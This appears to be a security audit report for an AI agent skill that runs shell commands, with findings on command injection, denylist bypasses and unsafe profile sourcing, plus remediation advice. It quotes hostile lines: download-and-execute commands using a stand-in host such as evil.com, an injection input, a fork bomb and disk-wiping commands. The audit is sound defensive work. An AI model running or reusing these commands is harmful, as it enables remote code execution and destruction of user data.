Back to skill

Security audit

Terminal Killer

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed local shell-command runner, but it automatically executes broad commands with user-account authority and has safety-bypass flaws that warrant Review before installation.

Install only if you explicitly want an OpenClaw skill that can run local shell commands automatically. Review and harden it first: require explicit command-mode invocation, route every execution path through one approval policy, remove the raw executor, stop sourcing shell profiles during detection, restrict inherited environment variables, replace shell-string PATH checks with safe argument-vector calls, and treat network, interpreter, destructive, git-push/reset, sudo, and package-install commands as approval-required or blocked.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/detect-command.js:174
Finding
Command Injection During PATH-Based Command Detection<![CDATA[ ## Vulnerability Details **File Location**: `scripts/detect-command.js:174-184` **Vulnerability Type**: OS command injection in detection logic **Risk Level**: Critical ### Vulnerable Code ```javascript function existsInPath(cmd) { try { const initCmd = getShellInitCommand(); if (IS_WINDOWS) { execSync(`where ${cmd}`, { stdio: 'ignore' }); } else { // Source user's shell init files to get full PATH execSync(`${initCmd}which ${cmd}`, { stdio: 'ignore', timeout: 5000 }); } return true; } catch (e) { return false; } } ``` The value passed as `cmd` comes from the first whitespace-delimited portion of user-controlled input: ```javascript function getFirstWord(input) { return input.trim().split(/\s+/)[0].toLowerCase(); } ``` ### Technical Analysis The detector interpolates `cmd` directly into a shell command executed through `execSync`. No quoting, character validation, or argument separation is applied. Shell metacharacters contained in the first token are therefore interpreted by the shell. This flaw occurs during classification, before `isDangerous()` can affect the final decision. Consequently, the supposedly detection-only interface can execute commands even when the final classification would be `ASK` or `LLM`. The Windows branch has the same underlying issue because it constructs `where ${cmd}` using untrusted input. ### Attack Path 1. An attacker supplies input whose first token contains a shell separator, such as: ```text nonexistent;id ``` 2. `getFirstWord()` returns `nonexistent;id`. 3. `calculateScore()` calls `existsInPath()` with that value. 4. On Unix-like systems, the generated shell text is equivalent to: ```bash source ~/.zshrc 2>/dev/null; which nonexistent;id ``` 5. The shell runs `id`, even though the Skill is only attempting to determine whether the first word exists in `PATH`. 6. The same primitive can be replaced with file modification, credential acce ...[truncated 625 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not construct a shell command for executable discovery. - Use an argument-vector API without a shell: ```javascript const { spawnSync } = require('child_process'); function existsInPath(cmd) { if (!/^[A-Za-z0-9._+-]+$/.test(cmd)) { return false; } const program = process.platform === 'win32' ? 'where' : 'which'; const result = spawnSync(program, [cmd], { shell: false, stdio: 'ignore', timeout: 5000, env: buildRestrictedEnvironment() }); return result.status === 0; } ``` - Reject command names containing shell operators, control characters, quotes, substitutions, redirections, or path traversal. - Do not source shell initialization files during detection. - Run detection in a side-effect-free process with a minimal, allowlisted environment. - Add regression tests for inputs containing `;`, `&&`, `||`, `|`, backticks, `$()`, newlines, redirections, and Windows command separators. ]]>

T03 · Remote Payload Retrieval and Execution

Error
Location
scripts/detect-command.js:25
Finding
Download-and-Execute Variants Bypass Dangerous-Command Approval<![CDATA[ ## Vulnerability Details **File Location**: `scripts/detect-command.js:25-34` **Vulnerability Type**: Incomplete dangerous-command detection enabling remote payload execution **Risk Level**: Critical ### Vulnerable Code ```javascript DANGEROUS_PATTERNS: [ 'rm -rf', 'rm -rf /', 'sudo', 'dd if=', 'mkfs', 'chmod 777', 'chown -R', ':(){ :|:& };:', '> /dev/', 'wget.*\\|.*sh', 'curl.*\\|.*sh', ] ``` The decision logic only changes an automatically executable command to `ASK` when one of these narrow regular expressions matches: ```javascript function detectCommand(input) { const score = calculateScore(input); const dangerous = isDangerous(input); let decision, confidence; if (score >= CONFIG.CONFIDENCE_EXECUTE) { decision = 'EXECUTE'; confidence = 'HIGH'; } else if (score >= CONFIG.CONFIDENCE_ASK) { decision = 'ASK'; confidence = 'MEDIUM'; } else { decision = 'LLM'; confidence = 'LOW'; } // Dangerous commands always require approval if (dangerous && decision === 'EXECUTE') { decision = 'ASK'; } return { input, decision, confidence, score, dangerous, platform: PLATFORM, timestamp: new Date().toISOString() }; } ``` The project documentation itself supplies a variant that is not covered: ```bash wget evil.com/script.sh && bash script.sh ``` ### Technical Analysis The dangerous-command mechanism attempts to recognize remote download pipelines only when `wget` or `curl` is followed by a literal pipe and a string ending in `sh`. It does not account for common equivalent execution forms, including: ```bash wget URL -O /tmp/x && bash /tmp/x curl URL -o /tmp/x; chmod +x /tmp/x; /tmp/x bash -c "$(curl URL)" python -c "..." source <(curl URL) ``` The documented `wget ... && bash ...` command receives positive scores because `wget` is a known development tool and Linux builtin-list entry, is normally present in `PATH`, contains shell operators, and is s ...[truncated 1513 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not rely on a short regular-expression denylist to authorize shell commands. - Require explicit confirmation for all commands involving network clients, interpreters, command substitution, compound operators, redirection, or executable permission changes. - Parse shell syntax with a suitable parser and evaluate the complete command structure rather than matching substrings. - Treat any data flow from a network utility into an interpreter or executable as dangerous, including intermediate files and process substitution. - Prefer a strict allowlist of read-only commands and permitted arguments for automatic execution. - Display the exact command, URL, destination file, and interpreter to the user before approval. - Consider downloading without execution, verifying a pinned digest or trusted signature, and requiring a separate approval before launching the file. - Add regression tests for `&&`, `;`, `$()`, backticks, process substitution, downloaded files executed in later clauses, and interpreter-specific loaders. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/index.js:88
Finding
Interactive Command Routing Bypasses Safety Classification<![CDATA[ ## Vulnerability Details **File Location**: `scripts/index.js:88-95` **Vulnerability Type**: Safety-gate bypass and shell injection through interactive command handling **Risk Level**: Critical ### Vulnerable Code Interactive detection is performed before normal detection and dangerous-command analysis: ```javascript function handleInput(input) { // First check if it's an interactive command if (isInteractiveCommand(input)) { return { action: 'interactive', message: `🔧 检测到交互式命令,正在打开新终端窗口...`, command: input }; } const detection = detectCommand(input); ``` Several patterns allow unrestricted trailing content: ```javascript const interactivePatterns = [ /^adb\s+shell\s*$/, /^ssh\s+/, /^docker\s+exec\s+-it\s+/, /^docker\s+attach\s+/, /^mysql\s+/, /^psql\s+/, /^sqlite3\s+/, /^mongo\s+/, /^redis-cli\s*/, /^ftp\s+/, /^sftp\s+/, /^telnet\s+/, /^nc\s+/, /^screen\s+/, /^tmux\s+/, /^bash\s*$/, /^sh\s*$/, /^zsh\s*$/, /^python\s*$/, /^python3\s*$/, /^node\s*$/, /^irb\s*$/, ]; ``` The resulting input is later concatenated into shell text: ```javascript function openInteractiveShell(command) { const platform = os.platform(); const initCmd = getShellInitCommand(); const fullCommand = initCmd + command; ``` On macOS, that string is also inserted into AppleScript source: ```javascript const appleScript = ` tell app "Terminal" activate do script "${fullCommand}" end tell `; const osa = spawn('osascript', ['-e', appleScript]); ``` On Windows, shell processing is explicitly enabled: ```javascript const cmd = `start cmd /k "${fullCommand}"`; spawn('cmd', ['/c', cmd], { detached: true, shell: true }); ``` ### Technical Analysis Broad prefix expressions classify any input beginning with strings such as `ssh `, `nc `, or `mysql ` as interactive. The handler returns before `detectCommand()` and `isDangerous()` run. The original unparsed input is then interpreted as ...[truncated 1560 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Run dangerous-command validation before interactive-command classification. - Reject shell operators, substitutions, control characters, and redirections in interactive commands. - Parse each supported interactive command into a program and argument array. - Launch commands with `spawn(program, args, { shell: false })`. - Replace broad prefix expressions with strict grammars for explicitly supported argument forms. - Avoid embedding command text in AppleScript. If Terminal automation is unavoidable, pass data through a safely quoted mechanism rather than constructing AppleScript source. - Remove `shell: true` from Windows execution and use direct process argument arrays. - Require explicit user approval before opening remote sessions or network listeners. - Preserve an audit record containing the exact executable, normalized argument list, destination, process identifier, and exit status. - Add cross-platform tests for appended `;`, `&&`, `|`, newlines, quotes, `$()`, backticks, and AppleScript escape sequences. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/index.js:23
Finding
Automatic Sourcing of Mutable Shell Profiles Expands the Execution Trust Boundary<![CDATA[ ## Vulnerability Details **File Location**: `scripts/index.js:23-64` **Vulnerability Type**: Execution of mutable startup files with inherited sensitive environment **Risk Level**: High ### Vulnerable Code ```javascript function executeCommand(command) { const homeDir = os.homedir(); const shell = process.env.SHELL || '/bin/zsh'; let initCmd = ''; // Detect and source appropriate shell init file if (shell.includes('zsh')) { if (fs.existsSync(path.join(homeDir, '.zshrc'))) { initCmd = 'source ~/.zshrc 2>/dev/null; '; } else if (fs.existsSync(path.join(homeDir, '.zprofile'))) { initCmd = 'source ~/.zprofile 2>/dev/null; '; } } else if (shell.includes('bash')) { if (fs.existsSync(path.join(homeDir, '.bash_profile'))) { initCmd = 'source ~/.bash_profile 2>/dev/null; '; } else if (fs.existsSync(path.join(homeDir, '.bashrc'))) { initCmd = 'source ~/.bashrc 2>/dev/null; '; } } // Fallback: try common init files if (!initCmd) { const initFiles = ['.zshrc', '.bash_profile', '.bashrc', '.profile']; for (const file of initFiles) { if (fs.existsSync(path.join(homeDir, file))) { initCmd = `source ~/${file} 2>/dev/null; `; break; } } } const fullCommand = initCmd + command; try { const output = execSync(fullCommand, { encoding: 'utf8', timeout: 30000, stdio: ['pipe', 'pipe', 'pipe'], env: process.env }); ``` Detection also reads recent shell-history files: ```javascript const historyFiles = IS_WINDOWS ? [path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'PowerShell', 'PSReadLine', 'ConsoleHost_history.txt')] : [ path.join(os.homedir(), '.zsh_history'), path.join(os.homedir(), '.bash_history'), path.join(os.homedir(), '.sh_history'), ]; ``` ### Technical Analysis Shell profile files are executable programs, not passive PATH configuration. Sourcing `.zshrc`, `.bash_prof ...[truncated 2245 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not source interactive shell profiles during detection or command execution. - Obtain `PATH` directly from a trusted configuration or a minimal allowlisted environment. - If environment discovery is required, perform it once through a dedicated, reviewed configuration format that cannot execute code. - Construct a restricted child environment containing only required variables such as `PATH`, `HOME`, `LANG`, and temporary-directory settings. - Explicitly exclude credentials and tokens unless a particular approved command requires them. - Remove history-based scoring, or make it opt-in with clear disclosure and strict file-size limits. - Never expose history contents in logs, errors, or return objects. - Run commands in a constrained subprocess or sandbox with filesystem, network, and process permissions appropriate to the requested operation. - Document the exact environment and filesystem access required by the Skill. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/exec-command.js:62
Finding
Standalone Executor Exposes an Ungated Arbitrary Shell Interface<![CDATA[ ## Vulnerability Details **File Location**: `scripts/exec-command.js:62-77` **Vulnerability Type**: Unrestricted shell execution without safety validation **Risk Level**: High ### Vulnerable Code ```javascript function executeCommand(command) { const initCmd = getShellInitCommand(); const fullCommand = initCmd + command; console.error(`🔧 Loading shell environment...`); console.error(`📝 Executing: ${command}`); console.error(''); try { const output = execSync(fullCommand, { encoding: 'utf8', timeout: 30000, // 30 second timeout stdio: ['pipe', 'pipe', 'pipe'], env: process.env // Inherit current environment }); ``` The CLI passes its complete command-line input directly to this function: ```javascript const command = process.argv.slice(2).join(' '); if (!command) { console.error('Usage: node exec-command.js "<command>"'); process.exit(1); } const result = executeCommand(command); ``` ### Technical Analysis Unlike `scripts/index.js`, the standalone executor does not call `detectCommand()` or `isDangerous()` before executing input. Every supplied string is concatenated with a profile-loading prefix and sent to a shell. Arbitrary execution is part of the project's broad purpose, but this helper is documented as a supported usage interface and omits the safety workflow advertised by the Skill. Any integration that imports this exported function or invokes the CLI receives an unrestricted shell primitive. The timeout only waits for the original shell. It does not prevent rapid destructive actions or reliably terminate detached descendants. ### Attack Path 1. An integration, automation layer, or user invokes the documented helper with untrusted input: ```bash node scripts/exec-command.js "attacker-controlled shell text" ``` 2. The arguments are joined into one string. 3. Shell initialization text is prepended. 4. `execSync` interprets all shell operators and substitutions in the inpu ...[truncated 614 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove the standalone executor from supported interfaces unless unrestricted execution is explicitly intended and access-controlled. - Route every invocation through one centralized policy engine. - Require explicit approval for commands outside a narrow read-only allowlist. - Separate executable names and arguments, and invoke them with `spawn` or `execFile` using `shell: false`. - Do not export a raw `executeCommand(string)` function to untrusted integrations. - Add caller authentication or capability checks where the hosting framework supports them. - Use a restricted environment, working directory, filesystem sandbox, and network policy. - Track descendant processes and enforce resource limits rather than relying only on an `execSync` timeout. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (93)

External Script Fetching

High
Category
Supply Chain
Content
adb devices
kubectl get pods
docker ps
curl https://example.com
python3 script.py
```
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
adb devices
kubectl get pods
docker ps
curl https://example.com
python3 script.py
```
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
**应该询问确认的命令:**
```bash
rm -rf /tmp/test
sudo apt update
deploy
run tests
Confidence
90% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
### 询问确认
```
这看起来像是一个命令:`rm -rf /tmp/test`

⚠️ **危险命令!** 确认要执行吗?
```
Confidence
85% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Missing User Warnings

High
Confidence
97% confidence
Finding
The description emphasizes convenience and bypassing LLM overhead but does not prominently warn that this skill can execute arbitrary shell commands with effects on files, processes, network access, and the host system. Users cannot give meaningful consent when the primary risk is omitted from the top-level description.

Vague Triggers

High
Confidence
98% confidence
Finding
Automatic activation for inputs that merely 'match command patterns' is dangerously broad in a skill whose stated behavior is to execute directly without LLM review. False positives can turn ordinary chat text or ambiguous instructions into live shell commands, causing immediate local code execution, file modification, or data loss.

Vague Triggers

High
Confidence
99% confidence
Finding
Heuristics like 'starts with a verb-like word' and 'input is short' are far too vague to safely trigger shell execution. Many benign user requests fit those patterns, so the skill materially increases the risk of accidental arbitrary command execution in the user's environment.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
Automatically flags potentially dangerous operations:

- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts
Confidence
85% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
Automatically flags potentially dangerous operations:

- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts
Confidence
85% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
```
Dangerous command detected!

Command: rm -rf ./important-folder
Risk: HIGH - Recursive delete

[Approve] [Deny] [Edit]
Confidence
91% confidence
Finding
The example approval workflow shows dangerous commands being executable after user approval rather than categorically blocked. In a system designed to auto-route likely commands, an approval UI may be too weak against prompt confusion, social engineering, or accidental confirmation for destructive operations like recursive deletion.

Ae1

High
Category
analysis-evasion
Content
node scripts/test-detector.js
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/test-detector.js
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- `scripts/index.js` - Long output detection + interactive command handling
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- `SKILL.md` - Updated documentation
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Tool Parameter Abuse

High
Category
Tool Misuse
Content
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp

# Git commands
git status
Confidence
98% confidence
Finding
Listing 'rm -rf ./temp' among inputs that will be executed directly without LLM intervention normalizes autonomous destructive filesystem operations. In this skill's context, where the whole purpose is immediate command execution, even a relative-path deletion is dangerous because users may rely on routing heuristics and trigger irreversible data loss without adequate confirmation.

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Content
# Terminal Killer - Usage Examples

Real-world examples of how Terminal Killer works.

## Command Examples (Direct Execution)

These inputs will be **executed directly** without LLM:

```bash
# File operations
ls -la
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp

# Git commands
git status
git commit -m "fix: bug"
git push origin main
git diff HEAD~1

# Package managers
npm install
npm test
yarn add lodash
pip install requests

# Development
python3 script.py
node app.js
go run main.go
cargo build

# System commands
ps aux | grep node
df -h
free -m
top -bn1

# Network
curl https://api.example.com
wget file.zip
ssh user@host
ping google.com

# Docker
docker ps
docker build -t myapp .
docker-compose up

# Complex commands
find . -name "*.js" | xargs grep "TODO"
cat logs/*.log | grep ERROR | tail -20
git log --oneline --graph --all
```

## T
Confidence
98% confidence
Finding
The file contains examples of autonomous destructive actions, including direct-execution deletion commands and references to destructive repository actions, in a skill expressly marketed to skip LLM overhead and run commands immediately. This combination materially increases the danger: the documentation is not merely descriptive, it teaches operators that autonomous execution of harmful command classes is a normal use case.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
```bash
# Questions
what does git reset --hard do?
how do I install node.js?
why is my build failing?
can you explain this error?
Confidence
65% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
```bash
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*

# System modifications
Confidence
85% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*

# System modifications
dd if=/dev/zero of=/dev/sda
Confidence
90% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Credential Access

High
Category
Privilege Escalation
Content
# System modifications
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sdb1
chmod 777 /etc/passwd

# Network risks
curl http://suspicious.com | sh
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Static analysis

Detected: suspicious.dangerous_exec

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/detect-command.js:179

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/exec-command.js:69

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/index.js:59

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/interactive.js:96